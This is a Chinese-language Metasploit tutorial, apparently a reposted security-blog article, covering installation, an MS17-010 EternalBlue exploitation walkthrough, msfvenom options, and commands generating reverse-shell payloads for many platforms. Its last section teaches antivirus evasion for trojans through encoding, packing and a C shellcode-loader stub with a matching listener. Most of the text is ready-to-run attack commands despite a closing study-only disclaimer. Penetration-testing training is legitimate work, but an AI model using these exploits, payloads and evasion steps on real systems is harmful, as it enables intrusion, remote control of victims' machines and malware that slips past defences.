01
MSF简介
01
MSF简介
02
MSF安装介绍
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
https://apt.metasploit.com
,而CentOS / Redhat / Fedora软件包位于https://rpm.metasploit.com
https://apt.metasploit.com/
下载MSF 的deb安装包。dpkg -i metasploit-framework_6.0.7+20200916102431_1rapid7-1_amd64.deb
https://rpm.metasploit.com
下载 rpm安装包rpm-i metasploit-framework-6.0.7+20200916102441~1rapid7-1.el6.x86_64.rpm
1、apt-get install postgresql //安装postgresql数据库
2、su - postgres //切换到postgres用户
3、psql //登陆postgresql数据库,首次登陆没有密码
4、\password postgres //修改数据库用户postgres的密码
sudo msfupdate
1、msfconsole //启动msf
2、db_connect postgres:[email protected].0.0.1/test //用户名,密码,地址,自己随意编造的名字。
3、db_status //查看数据库连接状态
03
MSF的基本使用方法
service postgresql start
msfdb init
msfconsole
ms17-010
search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
options
set rhosts 192.168.174.129
set rport 目标端口
run
或者exploit
进行攻击use exploit/windows/smb/ms17_010_eternalblue
options
set RHOSTS 192.168.174.129
set RPORT 445
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.174.192
run
或者exploit
04
MSF后门生成模块
-l,--list <type>
# 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等
-p,--payload <payload>
# 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
--list-options
# 列出--payload <value> 的标准,高级和规避选项
-f,--format <format>
# 指定 Payload 的输出格式(使用 --list formats 列出)
-e,--encoder <encoder>
# 指定使用的 Encoder (使用 --list encoders 列出)
--sec-name <value>
# 生成大型Windows二进制文件时使用的新名称。默认值:随机4个字符的字符串
--smallest
# 使用所有可用的编码器生成最小的payload
--encrypt <value>
# 应用于shellcode的加密或编码类型 (使用--list encrypt 列出)
--encrypt-key <value>
# 用于加密的密钥
--encrypt-iv <value>
# 加密的初始化向量
-a,--arch <arch>
# 指定目标系统架构(使用 --list archs 列出)
--platform <platform>
# 指定目标系统平台 (使用 --list platforms 列出)
-o,--out<path>
# 保存payload文件
-b,--bad-chars <list>
# 设置需要在 Payload 中避免出现的字符,如:'\x00\xff'
-n,--nopsled <length>
# 指定 nop 在 payload 中的数量
-s,--space <length>
# 设置未经编码的 Payload 的最大长度
--encoder-space <length>
# 编码后的 Payload 的最大长度
-i,--iterations <count>
# 设置 Payload 的编码次数
-c,--add-code <path>
# 指定包含一个额外的win32 shellcode文件
-x,--template<path>
# 指定一个特定的可执行文件作为模板
-k,--keep
# 保护模板程序的功能,注入的payload作为一个新的进程运行
-v,--var-name <value>
# 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
-t,--timeout <second>
# 设置从STDIN读取payload的等待时间(默认为30,0为禁用)
-h,--help
# 帮助
msfvenom -p 有效载荷-f 输出格式-o 输出文件
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe
msfvenom -a 系统架构--platform 系统平台-p 有效载荷 lhost=攻击机IP lport=攻击机端口-e 编码方式-i编码次数-f 输出格式-o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe
aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch
aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3-e x86/shikata_ga_nai -f exe -o payload.exe
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py
05
木马如何免杀
编码
加壳免杀
二次编译
分离免杀:即将ShellCode和加载器分离
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=192.168.174.196 lport=1250 -f c
#include"stdafx.h"
#include<stdio.h>
#pragma comment( linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsignedchar buf[]=
(这里放生成好的数组)
main()
{
((void(*)(void))&buf)();
}
开启监听:msf5 >use exploit/multi/handler
设置payload,和生成的木马保持一致:set payload windows/meterpreter/reverse_tcp
设置本地地址,和木马一致:set lhost 192.168.174.196
设置本地端口,和木马一致:set lport 1250
msf5 exploit(multi/handler)> run
文章来源:系统安全运维
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
多一个点在看多一条小鱼干